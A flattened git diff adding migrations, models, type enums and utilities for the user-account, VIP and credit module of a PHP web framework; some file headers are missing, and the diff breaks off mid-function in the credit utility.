$table->bigIncrements('id')->change(); + $table->unsignedBigInteger('userId')->change(); + }); + Schema::table('member_oauth', function (Blueprint $table) { + $table->bigIncrements('id')->change(); + $table->unsignedBigInteger('memberUserId')->change(); + }); + Schema::table('member_upload', function (Blueprint $table) { + $table->bigIncrements('id')->change(); + $table->unsignedBigInteger('userId')->change(); + $table->unsignedBigInteger('dataId')->change(); + }); + Schema::table('member_upload_category', function (Blueprint $table) { + $table->bigIncrements('id')->change(); + $table->unsignedBigInteger('pid')->change(); + $table->unsignedBigInteger('userId')->change(); + }); + Schema::table('member_address', function (Blueprint $table) { + $table->bigIncrements('id')->change(); + $table->unsignedBigInteger('memberUserId')->change(); + }); + Schema::table('member_money_cash', function (Blueprint $table) { + $table->bigIncrements('id')->change(); + $table->unsignedBigInteger('memberUserId')->change(); + }); + Schema::table('member_money', function (Blueprint $table) { + $table->bigIncrements('id')->change(); + $table->unsignedBigInteger('memberUserId')->change(); + }); + Schema::table('member_money_log', function (Blueprint $table) { + $table->bigIncrements('id')->change(); + $table->unsignedBigInteger('memberUserId')->change(); + }); + Schema::table('member_credit', function (Blueprint $table) { + $table->bigIncrements('id')->change(); + $table->unsignedBigInteger('memberUserId')->change(); + }); + Schema::table('member_credit_log', function (Blueprint $table) { + $table->bigIncrements('id')->change(); + $table->unsignedBigInteger('memberUserId')->change(); + }); + Schema::table('member_money_charge_order', function (Blueprint $table) { + $table->bigIncrements('id')->change(); + $table->unsignedBigInteger('memberUserId')->change(); + }); + Schema::table('member_vip_order', function (Blueprint $table) { + $table->bigIncrements('id')->change(); + $table->unsignedBigInteger('memberUserId')->change(); + }); + Schema::table('member_deleted', function (Blueprint $table) { + $table->bigIncrements('id')->change(); + }); + Schema::table('member_meta', function (Blueprint $table) { + $table->bigIncrements('id')->change(); + $table->unsignedBigInteger('memberUserId')->change(); + }); + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2022_12_19_000000_member_member_vip_desc.php b/module/Member/Migrate/2022_12_19_000000_member_member_vip_desc.php new file mode 100644 index 00000000..2c1c11f9 --- /dev/null +++ b/module/Member/Migrate/2022_12_19_000000_member_member_vip_desc.php @@ -0,0 +1,32 @@ +string('desc', 200)->nullable()->comment(''); + + }); + + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2022_12_19_000000_member_member_vip_visible.php b/module/Member/Migrate/2022_12_19_000000_member_member_vip_visible.php new file mode 100644 index 00000000..80766f47 --- /dev/null +++ b/module/Member/Migrate/2022_12_19_000000_member_member_vip_visible.php @@ -0,0 +1,34 @@ +tinyInteger('visible')->nullable()->comment(''); + + }); + + \ModStart\Core\Dao\ModelUtil::updateAll('member_vip_set', ['visible' => true]); + + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2023_03_16_000000_create_member_login_log.php b/module/Member/Migrate/2023_03_16_000000_create_member_login_log.php new file mode 100644 index 00000000..2318751b --- /dev/null +++ b/module/Member/Migrate/2023_03_16_000000_create_member_login_log.php @@ -0,0 +1,43 @@ +bigIncrements('id'); + $table->timestamps(); + + $table->bigInteger('memberUserId')->nullable()->comment('用户ID'); + + /** @see \Module\Vendor\Type\DeviceType */ + $table->tinyInteger('deviceType')->nullable()->comment('用户名'); + $table->string('ip', 20)->nullable()->comment('用户名'); + $table->string('userAgent', 400)->nullable()->comment('用户名'); + $table->string('ipLocation', 100)->nullable()->comment('IP地址信息'); + + $table->index(['memberUserId']); + $table->index(['created_at']); + + }); + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2023_03_26_000000_create_member_data_statistic.php b/module/Member/Migrate/2023_03_26_000000_create_member_data_statistic.php new file mode 100644 index 00000000..d9b3d344 --- /dev/null +++ b/module/Member/Migrate/2023_03_26_000000_create_member_data_statistic.php @@ -0,0 +1,35 @@ +bigIncrements('id'); + $table->timestamps(); + + $table->bigInteger('sizeLimit')->nullable()->comment(''); + $table->bigInteger('sizeUsed')->nullable()->comment(''); + }); + + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + } +} diff --git a/module/Member/Migrate/2023_04_04_000000_create_member_vip_right.php b/module/Member/Migrate/2023_04_04_000000_create_member_vip_right.php new file mode 100644 index 00000000..f33e3ba9 --- /dev/null +++ b/module/Member/Migrate/2023_04_04_000000_create_member_vip_right.php @@ -0,0 +1,39 @@ +bigIncrements('id'); + $table->timestamps(); + + $table->string('vipIds', 200)->nullable()->comment('VIPID'); + $table->string('title', 200)->nullable()->comment('标题'); + $table->string('desc', 200)->nullable()->comment('描述'); + $table->string('image', 200)->nullable()->comment('图标'); + $table->integer('sort')->nullable()->comment('排序'); + + }); + + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + } +} diff --git a/module/Member/Migrate/2023_09_25_000000_member_card.php b/module/Member/Migrate/2023_09_25_000000_member_card.php new file mode 100644 index 00000000..4fc8fc0d --- /dev/null +++ b/module/Member/Migrate/2023_09_25_000000_member_card.php @@ -0,0 +1,42 @@ +bigIncrements('id'); + $table->timestamps(); + + $table->bigInteger('memberUserId')->nullable()->comment('用户ID'); + $table->string('biz', 20)->nullable()->comment('业务'); + $table->dateTime('expire')->nullable()->comment('到期时间'); + + $table->bigInteger('quotaUsed')->nullable()->comment('使用额度'); + $table->bigInteger('quotaTotal')->nullable()->comment('总额度'); + + $table->index(['memberUserId', 'biz']); + + }); + + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2023_12_10_000000_member_upload_type.php b/module/Member/Migrate/2023_12_10_000000_member_upload_type.php new file mode 100644 index 00000000..f5fbc553 --- /dev/null +++ b/module/Member/Migrate/2023_12_10_000000_member_upload_type.php @@ -0,0 +1,33 @@ +tinyInteger('type')->nullable()->comment('类型'); + }); + \ModStart\Core\Dao\ModelUtil::updateAll('member_upload', [ + 'type' => \ModStart\Admin\Type\UploadType::USER + ]); + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2024_01_08_000000_member_vip_price_market.php b/module/Member/Migrate/2024_01_08_000000_member_vip_price_market.php new file mode 100644 index 00000000..fc4ff0d4 --- /dev/null +++ b/module/Member/Migrate/2024_01_08_000000_member_vip_price_market.php @@ -0,0 +1,33 @@ +decimal('priceMarket', 20, 2)->nullable()->comment('划线价'); + }); + \ModStart\Core\Dao\ModelUtil::updateAll(\Module\Member\Model\MemberVipSet::class, [ + 'priceMarket' => \Illuminate\Support\Facades\DB::raw('price'), + ]); + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2024_02_24_000000_member_credit_freeze.php b/module/Member/Migrate/2024_02_24_000000_member_credit_freeze.php new file mode 100644 index 00000000..358e5aa5 --- /dev/null +++ b/module/Member/Migrate/2024_02_24_000000_member_credit_freeze.php @@ -0,0 +1,55 @@ +bigIncrements('id'); + $table->timestamps(); + + $table->bigInteger('memberUserId')->nullable()->comment('用户ID'); + $table->bigInteger('value')->nullable()->comment('数量'); + /** @see \Module\Member\Type\MemberCreditFreezeStatus */ + $table->tinyInteger('status')->nullable()->comment('数量'); + $table->string('remark', 100)->nullable()->comment('备注'); + $table->string('meta', 100)->nullable()->comment('额外信息'); + + $table->dateTime('freezeAt')->nullable()->comment('冻结时间'); + $table->dateTime('commitAt')->nullable()->comment('提交时间'); + $table->dateTime('cancelAt')->nullable()->comment('取消时间'); + + $table->index(['memberUserId']); + + }); + + Schema::table('member_credit', function (Blueprint $table) { + $table->bigInteger('freezeTotal')->nullable()->comment('冻结额度'); + }); + Schema::table('member_credit_log', function (Blueprint $table) { + $table->string('meta', 100)->nullable()->comment('额外信息'); + }); + Schema::table('member_money_log', function (Blueprint $table) { + $table->string('meta', 100)->nullable()->comment('额外信息'); + }); + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2024_04_11_000001_member_vip_expire_datetime.php b/module/Member/Migrate/2024_04_11_000001_member_vip_expire_datetime.php new file mode 100644 index 00000000..3de7ea33 --- /dev/null +++ b/module/Member/Migrate/2024_04_11_000001_member_vip_expire_datetime.php @@ -0,0 +1,34 @@ +dateTime('vipExpire')->nullable()->comment('VIP过期时间')->change(); + }); + + Schema::table('member_vip_order', function (Blueprint $table) { + $table->dateTime('expire')->nullable()->comment('VIP过期时间')->change(); + }); + + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2024_07_05_000000_modify_member_vip_order_param.php b/module/Member/Migrate/2024_07_05_000000_modify_member_vip_order_param.php new file mode 100644 index 00000000..42a8b537 --- /dev/null +++ b/module/Member/Migrate/2024_07_05_000000_modify_member_vip_order_param.php @@ -0,0 +1,30 @@ +string('param', 100)->nullable()->comment('参数'); + }); + + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2024_10_29_000000_member_user_register_ip_name_modify.php b/module/Member/Migrate/2024_10_29_000000_member_user_register_ip_name_modify.php new file mode 100644 index 00000000..0d7fbab4 --- /dev/null +++ b/module/Member/Migrate/2024_10_29_000000_member_user_register_ip_name_modify.php @@ -0,0 +1,29 @@ +string('registerIpName', 30)->nullable()->comment('注册IP定位'); + }); + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Model/MemberCard.php b/module/Member/Model/MemberCard.php new file mode 100644 index 00000000..924db7e9 --- /dev/null +++ b/module/Member/Model/MemberCard.php @@ -0,0 +1,12 @@ +first(); + if (empty($first)) { + $m = new self(); + $m->id = $id; + $m->sizeLimit = modstart_config('Member_DataStatisticDefaultLimit', 1024); + $m->save(); + self::updateMemberUserUsedSize($id); + return self::getCreateMemberUser($id); + } + return $first->toArray(); + } + + /** + * @param $id + * @param $data + * @deprecated delete at 2024-06-10 + */ + public static function updateMemberUser($id, $data) + { + $m = self::where('id', $id)->first(); + $updateSize = false; + if (empty($m)) { + $m = new self(); + $m->id = $id; + $updateSize = true; + } + foreach ($data as $k => $v) { + $m->$k = $v; + } + $m->save(); + if ($updateSize) { + self::updateMemberUserUsedSize($id); + } + } + + /** + * @param $id + * @return int + * @deprecated delete at 2024-06-10 + */ + public static function calcMemberUserUsedSize($id) + { + $total = MemberUpload::where(['userId' => $id]) + ->leftJoin('data', 'data.id', '=', 'member_upload.dataId') + ->sum('data.size'); + return intval($total); + } + + /** + * @param $id + * @deprecated delete at 2024-06-10 + */ + public static function updateMemberUserUsedSize($id) + { + $update = [ + 'sizeUsed' => self::calcMemberUserUsedSize($id), + ]; + self::where('id', $id)->update($update); + } +} diff --git a/module/Member/Model/MemberLoginLog.php b/module/Member/Model/MemberLoginLog.php new file mode 100644 index 00000000..fc41ab13 --- /dev/null +++ b/module/Member/Model/MemberLoginLog.php @@ -0,0 +1,12 @@ +hasOne(Data::class, 'id', 'dataId'); + } +} diff --git a/module/Member/Model/MemberUploadCategory.php b/module/Member/Model/MemberUploadCategory.php new file mode 100644 index 00000000..c04a0e2f --- /dev/null +++ b/module/Member/Model/MemberUploadCategory.php @@ -0,0 +1,12 @@ +name(); + } + + public function icon() + { + return 'iconfont icon-dot'; + } + + public function oauthKey() + { + return $this->name(); + } + + abstract public function name(); + + abstract public function render(); + + public function bindRender() + { + return null; + } + + abstract public function processRedirect($param); + + /** + * @param $param + * @return array + * + * @example 成功时,需要返回以下信息,其中 userInfo 需要至少包含 username, avatar, openid 三个属性 + * Response::generateSuccessData([ + * 'userInfo' => $userInfo, + * ]); + */ + abstract public function processLogin($param); + + public function processTryLogin($param) + { + $userInfo = $param['userInfo']; + $openid = $userInfo['openid']; + $memberUserId = MemberUtil::getIdByOauthAndCheck($this->name(), $openid); + if ($memberUserId) { + return Response::generateSuccessData([ + 'memberUserId' => $memberUserId, + ]); + } + return Response::generateSuccessData(['memberUserId' => 0]); + } + + public function processBindToUser($param) + { + $memberUserId = $param['memberUserId']; + $userInfo = $param['userInfo']; + $id = MemberUtil::getIdByOauthAndCheck($this->name(), $userInfo['openid']); + if ($id && $memberUserId != $id) { + MemberUtil::forgetOauth($this->name(), $userInfo['openid']); + } + $info = []; + if (!empty($userInfo['username'])) { + $info['infoUsername'] = $userInfo['username']; + } + if (!empty($userInfo['avatar'])) { + $info['infoAvatar'] = $userInfo['avatar']; + } + MemberUtil::putOauth($memberUserId, $this->name(), $userInfo['openid'], $info); + return Response::generateSuccess(); + } +} diff --git a/module/Member/Provider/Auth/AbstractMemberAuthProvider.php b/module/Member/Provider/Auth/AbstractMemberAuthProvider.php new file mode 100644 index 00000000..1168fdcf --- /dev/null +++ b/module/Member/Provider/Auth/AbstractMemberAuthProvider.php @@ -0,0 +1,27 @@ +enabled()) { + continue; + } + $result = call_user_func_array([$provider, $method], [$param]); + if (null !== $result) { + return $result; + } + } + return null; + } +} diff --git a/module/Member/Provider/MemberAdminShowPanel/AbstractMemberAdminShowPanelProvider.php b/module/Member/Provider/MemberAdminShowPanel/AbstractMemberAdminShowPanelProvider.php new file mode 100644 index 00000000..300cf5b3 --- /dev/null +++ b/module/Member/Provider/MemberAdminShowPanel/AbstractMemberAdminShowPanelProvider.php @@ -0,0 +1,31 @@ +renderView(); + if (empty($view)) { + return null; + } + return View::make($view, [ + 'memberUser' => $memberUser, + 'param' => $param, + ])->render(); + } +} diff --git a/module/Member/Provider/MemberAdminShowPanel/MemberAdminShowPanelProvider.php b/module/Member/Provider/MemberAdminShowPanel/MemberAdminShowPanelProvider.php new file mode 100644 index 00000000..84b14efb --- /dev/null +++ b/module/Member/Provider/MemberAdminShowPanel/MemberAdminShowPanelProvider.php @@ -0,0 +1,12 @@ +cronEveryMinute(); + } + + public function title() + { + return '删除申请注销账号的用户'; + } + + public function run() + { + $records = ModelUtil::model('member_user') + ->where('deleteAtTime', '>', 0) + ->where('deleteAtTime', '<', time()) + ->where(['isDeleted' => false]) + ->get()->toArray(); + foreach ($records as $order) { + MemberUtil::delete($order['id']); + } + } + +} diff --git a/module/Member/Provider/RegisterProcessor/AbstractMemberRegisterProcessorProvider.php b/module/Member/Provider/RegisterProcessor/AbstractMemberRegisterProcessorProvider.php new file mode 100644 index 00000000..fd289fde --- /dev/null +++ b/module/Member/Provider/RegisterProcessor/AbstractMemberRegisterProcessorProvider.php @@ -0,0 +1,23 @@ + '小学', + self::JUNIOR_HIGH_SCHOOL => '初中', + self::SENIOR_HIGH_SCHOOL => '高中', + self::TECHNICAL_SECONDARY_SCHOOL => '中专', + self::JUNIOR_COLLEGE => '大专', + self::BACHELOR => '本科', + self::MASTER => '硕士', + self::DOCTOR => '博士', + ]; + } + + +} \ No newline at end of file diff --git a/module/Member/Type/Gender.php b/module/Member/Type/Gender.php new file mode 100644 index 00000000..e268b766 --- /dev/null +++ b/module/Member/Type/Gender.php @@ -0,0 +1,44 @@ + '男', + self::FEMALE => '女', + self::UNKNOWN => '未知', + ]; + } + + public static function labelToValue($label) + { + switch ($label) { + case 'male': + return self::MALE; + case 'female': + return self::FEMALE; + } + return null; + } + + public static function valueToLabel($value) + { + switch ($value) { + case self::MALE: + return 'male'; + case self::FEMALE: + return 'female'; + } + return null; + } + +} diff --git a/module/Member/Type/MarriageStatus.php b/module/Member/Type/MarriageStatus.php new file mode 100644 index 00000000..9d22e073 --- /dev/null +++ b/module/Member/Type/MarriageStatus.php @@ -0,0 +1,24 @@ + '未婚', + self::DIVORCED => '离异', + self::WIDOWED => '丧偶', + self::MARRIED => '已婚', + ]; + } + +} \ No newline at end of file diff --git a/module/Member/Type/MemberCreditFreezeStatus.php b/module/Member/Type/MemberCreditFreezeStatus.php new file mode 100644 index 00000000..53b382bf --- /dev/null +++ b/module/Member/Type/MemberCreditFreezeStatus.php @@ -0,0 +1,22 @@ + '冻结中', + self::COMMITTED => '已提交', + self::CANCELED => '已取消', + ]; + } + +} diff --git a/module/Member/Type/MemberMessageStatus.php b/module/Member/Type/MemberMessageStatus.php new file mode 100644 index 00000000..14384012 --- /dev/null +++ b/module/Member/Type/MemberMessageStatus.php @@ -0,0 +1,19 @@ + '未读', + self::READ => '已读', + ]; + } +} \ No newline at end of file diff --git a/module/Member/Type/MemberMoneyCashStatus.php b/module/Member/Type/MemberMoneyCashStatus.php new file mode 100644 index 00000000..460bccd4 --- /dev/null +++ b/module/Member/Type/MemberMoneyCashStatus.php @@ -0,0 +1,20 @@ + '正在审核', + self::SUCCESS => '提现成功', + ]; + } + +} \ No newline at end of file diff --git a/module/Member/Type/MemberMoneyCashType.php b/module/Member/Type/MemberMoneyCashType.php new file mode 100644 index 00000000..93ac35d4 --- /dev/null +++ b/module/Member/Type/MemberMoneyCashType.php @@ -0,0 +1,18 @@ + '支付宝', + ]; + } + +} \ No newline at end of file diff --git a/module/Member/Type/MemberMoneyChargeStatus.php b/module/Member/Type/MemberMoneyChargeStatus.php new file mode 100644 index 00000000..d8eb77fd --- /dev/null +++ b/module/Member/Type/MemberMoneyChargeStatus.php @@ -0,0 +1,20 @@ + '新创建', + self::SUCCESS => '提现成功', + ]; + } + +} \ No newline at end of file diff --git a/module/Member/Type/MemberOauthCallbackMode.php b/module/Member/Type/MemberOauthCallbackMode.php new file mode 100644 index 00000000..6079eb7f --- /dev/null +++ b/module/Member/Type/MemberOauthCallbackMode.php @@ -0,0 +1,21 @@ + '查看', + self::AutoBind => '绑定', + ]; + } +} diff --git a/module/Member/Type/MemberPasswordStrength.php b/module/Member/Type/MemberPasswordStrength.php new file mode 100644 index 00000000..9075a0a4 --- /dev/null +++ b/module/Member/Type/MemberPasswordStrength.php @@ -0,0 +1,23 @@ + '不限制', + self::STRENGTH_2 => '大写/小写/数字/符号 至少包含2种', + self::STRENGTH_3 => '大写/小写/数字/符号 至少包含3种', + ]; + } +} diff --git a/module/Member/Type/MemberStatus.php b/module/Member/Type/MemberStatus.php new file mode 100644 index 00000000..3fa580b0 --- /dev/null +++ b/module/Member/Type/MemberStatus.php @@ -0,0 +1,22 @@ + '正常', + self::FORBIDDEN => '禁用', + ]; + } + +} diff --git a/module/Member/Type/WorkIndustry.php b/module/Member/Type/WorkIndustry.php new file mode 100644 index 00000000..f8d92ed8 --- /dev/null +++ b/module/Member/Type/WorkIndustry.php @@ -0,0 +1,42 @@ +getBoolean('ssoClientEnable', false); + + // 登录 + $data['loginCaptchaEnable'] = $config->getBoolean('loginCaptchaEnable', false); + $data['loginCaptchaProvider'] = $config->get('loginCaptchaProvider'); + $data['Member_LoginPhoneEnable'] = $config->getBoolean('Member_LoginPhoneEnable', false); + $data['Member_LoginDefault'] = $config->get('Member_LoginDefault'); + + // 注册 + $data['registerDisable'] = $config->getBoolean('registerDisable'); + $data['registerEmailEnable'] = $config->getBoolean('registerEmailEnable'); + $data['registerPhoneEnable'] = $config->getBoolean('registerPhoneEnable'); + $data['Member_RegisterDefault'] = $config->get('Member_RegisterDefault'); + $data['Member_RegisterCaptchaProvider'] = $config->get('Member_RegisterCaptchaProvider'); + $data['Member_RegisterPhoneEnable'] = $config->getBoolean('Member_RegisterPhoneEnable', false); + $data['Member_RegisterPhonePasswordEnable'] = $config->getBoolean('Member_RegisterPhonePasswordEnable', false); + $data['registerOauthEnable'] = $config->getBoolean('registerOauthEnable', false); + + // 授权登录 + $data['oauthWechatMobileEnable'] = $config->getBoolean('oauthWechatMobileEnable'); + $data['oauthQQEnable'] = $config->getBoolean('oauthQQEnable'); + $data['oauthWeiboEnable'] = $config->getBoolean('oauthWeiboEnable'); + $data['Member_OauthBindPhoneEnable'] = $config->getBoolean('Member_OauthBindPhoneEnable', false); + $data['Member_OauthBindEmailEnable'] = $config->getBoolean('Member_OauthBindEmailEnable', false); + + // 找回密码 + $data['retrieveDisable'] = $config->getBoolean('retrieveDisable'); + $data['retrievePhoneEnable'] = $config->getBoolean('retrievePhoneEnable'); + $data['retrieveEmailEnable'] = $config->getBoolean('retrieveEmailEnable'); + + // 账号安全 + $data['Member_ProfileEmailEnable'] = $config->getBoolean('Member_ProfileEmailEnable', false); + $data['Member_ProfilePhoneEnable'] = $config->getBoolean('Member_ProfilePhoneEnable', false); + $data['Member_DeleteEnable'] = $config->getBoolean('Member_DeleteEnable', false); + + // VIP + $data['Member_VipEnable'] = ModuleManager::getModuleConfig('Member', 'vipEnable', false); + + // 资产 + $data['Member_CreditName'] = ModuleManager::getModuleConfig('Member', 'creditName', '积分'); + $data['Member_MoneyEnable'] = ModuleManager::getModuleConfig('Member', 'moneyEnable', false); + $data['Member_MoneyChargeEnable'] = modstart_config('Member_MoneyChargeEnable', false); + $data['Member_MoneyCashEnable'] = modstart_config('Member_MoneyCashEnable', false); + $data['Member_CreditEnable'] = ModuleManager::getModuleConfig('Member', 'creditEnable', false); + + // 其他 + $data['Member_AgreementEnable'] = $config->getBoolean('Member_AgreementEnable', false); + $data['Member_AgreementTitle'] = $config->get('Member_AgreementTitle'); + $data['Member_PrivacyEnable'] = $config->getBoolean('Member_PrivacyEnable', false); + $data['Member_PrivacyTitle'] = $config->get('Member_PrivacyTitle'); + + return $data; + } + + public static function user() + { + $user = [ + 'id' => 0, + 'avatar' => 'asset/image/avatar.svg', + 'avatarMedium' => 'asset/image/avatar.svg', + 'avatarBig' => 'asset/image/avatar.svg', + 'nickname' => '', + 'username' => '', + 'viewName' => '游客', + 'phone' => '', + 'phoneVerified' => false, + 'email' => '', + 'emailVerified' => false, + 'vip' => MemberVip::get(), + 'vipExpire' => null, + 'passwordEmpty' => false, + ]; + if (MemberUser::isLogin()) { + $memberUser = MemberUser::user(); + $user['id'] = $memberUser['id']; + $user['avatar'] = $memberUser['avatar'] ? $memberUser['avatar'] : $user['avatar']; + $user['avatarMedium'] = $memberUser['avatarMedium'] ? $memberUser['avatarMedium'] : $user['avatarMedium']; + $user['avatarBig'] = $memberUser['avatarBig'] ? $memberUser['avatarBig'] : $user['avatarBig']; + $user['username'] = $memberUser['username']; + $user['nickname'] = $memberUser['nickname']; + $user['viewName'] = MemberUtil::viewName($memberUser); + $user['phone'] = $memberUser['phone']; + $user['phoneVerified'] = !!$memberUser['phoneVerified']; + $user['email'] = $memberUser['email']; + $user['emailVerified'] = !!$memberUser['emailVerified']; + $user['vip'] = MemberVip::get(); + $user['vipExpire'] = $memberUser['vipExpire']; + $user['passwordEmpty'] = empty($memberUser['password']); + } + foreach (['avatar', 'avatarMedium', 'avatarBig',] as $k) { + $user[$k] = AssetsUtil::fixFull($user[$k]); + } + return $user; + } +} + diff --git a/module/Member/Util/MemberAddressUtil.php b/module/Member/Util/MemberAddressUtil.php new file mode 100644 index 00000000..46a3533d --- /dev/null +++ b/module/Member/Util/MemberAddressUtil.php @@ -0,0 +1,62 @@ + $id, 'memberUserId' => $memberUserId]); + ModelUtil::decodeRecordBoolean($record, ['isDefault']); + return $record; + } + + public static function listUserAddresses($memberUserId) + { + $records = ModelUtil::model('member_address')->where(['memberUserId' => $memberUserId])->orderBy('id', 'desc')->orderBy('isDefault', 'desc')->get()->toArray(); + ModelUtil::decodeRecordsBoolean($records, ['isDefault']); + return $records; + } + + public static function delete($id) + { + ModelUtil::delete('member_address', ['id' => $id]); + } + + public static function resetDefault($memberUserId) + { + ModelUtil::update('member_address', ['memberUserId' => $memberUserId], ['isDefault' => false]); + } + + public static function update($id, $data) + { + return ModelUtil::update('member_address', ['id' => $id], $data); + } + + public static function insert($data) + { + return ModelUtil::insert('member_address', $data); + } + + public static function getDefault($memberUserId) + { + $address = ModelUtil::get('member_address', ['memberUserId' => $memberUserId, 'isDefault' => true]); + if (empty($address)) { + $address = ModelUtil::get('member_address', ['memberUserId' => $memberUserId]); + } + return $address; + } + + public static function clearDefault($memberUserId) + { + ModelUtil::update('member_address', ['memberUserId' => $memberUserId], ['isDefault' => false]); + } + + public static function truncate($memberUserId) + { + ModelUtil::delete('member_address', ['memberUserId' => $memberUserId]); + } + +} diff --git a/module/Member/Util/MemberAtomicUtil.php b/module/Member/Util/MemberAtomicUtil.php new file mode 100644 index 00000000..e00100b1 --- /dev/null +++ b/module/Member/Util/MemberAtomicUtil.php @@ -0,0 +1,37 @@ + $memberUserId, 'biz' => $biz]) + ->where('expire', '>', date('Y-m-d H:i:s')) + ->whereRaw('quotaUsed+' . intval($quota) . ' <= quotaTotal') + ->orderBy('expire', 'asc') + ->first(); + if (empty($card)) { + ModelUtil::transactionCommit(); + return Response::generateError('额度不足'); + } + $card->quotaUsed += $quota; + $card->save(); + ModelUtil::transactionCommit(); + return Response::generateSuccess(); + } +} diff --git a/module/Member/Util/MemberCmsUtil.php b/module/Member/Util/MemberCmsUtil.php new file mode 100644 index 00000000..b99b5a32 --- /dev/null +++ b/module/Member/Util/MemberCmsUtil.php @@ -0,0 +1,62 @@ +-'); + } + $memberUser = ModelUtil::getWithCache(MemberUser::class, ['id' => $memberUserId]); + return self::show($memberUser, $field); + } + + /** + * @param $memberUser + * @param $field string 字段名称,默认为username + * @return AutoRenderedFieldValue + */ + public static function show($memberUser, $field = null) + { + if (!empty($memberUser)) { + if (null === $field) { + $field = [ + 'username', + ]; + } + if (!is_array($field)) { + $field = [$field]; + } + if ($memberUser['isDeleted']) { + $text = '<已删除用户>'; + } else { + $text = '<未知用户>'; + foreach ($field as $f) { + if (!empty($memberUser[$f])) { + $text = $memberUser[$f]; + break; + } + } + } + return AutoRenderedFieldValue::make(' + + ' . htmlspecialchars($text) . ''); + } + return AutoRenderedFieldValue::make(''); + } +} diff --git a/module/Member/Util/MemberCreditUtil.php b/module/Member/Util/MemberCreditUtil.php new file mode 100644 index 00000000..e89757b8 --- /dev/null +++ b/module/Member/Util/MemberCreditUtil.php @@ -0,0 +1,199 @@ + $memberUserId, + ]); + } + + public static function getTotal($memberUserId) + { + $m = ModelUtil::get(MemberCredit::class, [ + 'memberUserId' => $memberUserId, + ]); + if (empty($m)) { + return 0; + } + return $m['total']; + } + + /** + * 变更用户的积分 + * !!! 这个方法应该在事务中调用 !!! + * + * @param $memberUserId int 用户ID + * @param $change int 变化值,正数为增加,负数为减少 + * @param $remark string 备注 + * @param $meta array|null 元数据 + * @param $option array 属性 + * @throws \Exception + */ + public static function change($memberUserId, $change, $remark, $meta = null, $option = []) + { + $option = array_merge([ + // 检查是否为负 + 'checkNegative' => true, + ], $option); + BizException::throwsIf('Member.Credit.change=0', !$change); + $m = ModelUtil::getWithLock(MemberCredit::class, [ + 'memberUserId' => $memberUserId + ]); + if (empty($m)) { + $m = ModelUtil::insert(MemberCredit::class, [ + 'memberUserId' => $memberUserId, + 'total' => 0, + 'freezeTotal' => 0, + ]); + } + if ($option['checkNegative']) { + BizException::throwsIf('Member.Credit.total<0', $change < 0 && $m['total'] + $change < 0); + } + if ($meta && !is_string($meta)) { + $meta = SerializeUtil::jsonEncode($meta); + } + ModelUtil::insert(MemberCreditLog::class, [ + 'memberUserId' => $memberUserId, + 'change' => $change, + 'remark' => $remark, + 'meta' => $meta, + ]); + ModelUtil::update(MemberCredit::class, $m['id'], [ + 'total' => $m['total'] + $change, + ]); + } + + /** + * 冻结用户积分(准备阶段) + * !!! 这个方法应该在事务中调用 !!! + * + * @param $memberUserId int 用户ID + * @param $value int 冻结值 + * @param $remark string 备注 + * @param $meta array|null 元数据 + * @return int 冻结ID + * @throws BizException + */ + public static function freezePrepare($memberUserId, $value, $remark, $meta = null) + { + BizException::throwsIf('MemberCreditUtil.freezePrepare.value>0', $value <= 0); + $m = ModelUtil::getWithLock(MemberCredit::class, ['memberUserId' => $memberUserId]); + if (empty($m)) { + $m = ModelUtil::insert(MemberCredit::class, [ + 'memberUserId' => $memberUserId, + 'total' => 0, + 'freezeTotal' => 0, + ]); + } + BizException::throwsIf('MemberCreditUtil.freezePrepare.total<0', $m['total'] - $value < 0); + if ($meta && !is_string($meta)) { + $meta = SerializeUtil::jsonEncode($meta); + } + ModelUtil::update(MemberCredit::class, $m['id'], [ + 'total' => $m['total'] - $value, + 'freezeTotal' => $m['freezeTotal'] + $value, + ]); + $freeze = ModelUtil::insert(MemberCreditFreeze::class, [ + 'memberUserId' => $memberUserId, + 'freezeAt' => date('Y-m-d H:i:s'), + 'status' => MemberCreditFreezeStatus::PROCESSING, + 'value' => $value, + 'remark' => $remark, + 'meta' => $meta, + ]); + return $freeze['id']; + } + + /** + * 冻结用户积分(提交阶段) + * !!! 这个方法应该在事务中调用 !!! + * @param $memberUserId int 用户ID + * @param $freezeId int 冻结ID + * @throws BizException + */ + public static function freezeCommit($memberUserId, $freezeId) + { + $freeze = ModelUtil::getWithLock(MemberCreditFreeze::class, [ + 'id' => $freezeId, + ]); + BizException::throwsIfEmpty('MemberCreditUtil.freezeCommit.empty', $freeze); + BizException::throwsIf('MemberCreditUtil.freezeCommit.memberError', $freeze['memberUserId'] != $memberUserId); + BizException::throwsIf('MemberCreditUtil.freezeCommit.status', $freeze['status'] != MemberCreditFreezeStatus::PROCESSING); + $m = ModelUtil::getWithLock(MemberCredit::class, ['memberUserId' => $memberUserId]); + BizException::throwsIfEmpty('MemberCreditUtil.freezeCommit.empty', $m); + BizException::throwsIf('MemberCreditUtil.freezeCommit.total<0', $m['freezeTotal'] - $freeze['value'] < 0); + ModelUtil::update(MemberCreditFreeze::class, $freeze['id'], [ + 'status' => MemberCreditFreezeStatus::COMMITTED, + 'commitAt' => date('Y-m-d H:i:s'), + ]); + ModelUtil::update(MemberCredit::class, $m['id'], [ + 'freezeTotal' => $m['freezeTotal'] - $freeze['value'], + ]); + ModelUtil::insert(MemberCreditLog::class, [ + 'memberUserId' => $memberUserId, + 'change' => -$freeze['value'], + 'remark' => $freeze['remark'], + 'meta' => 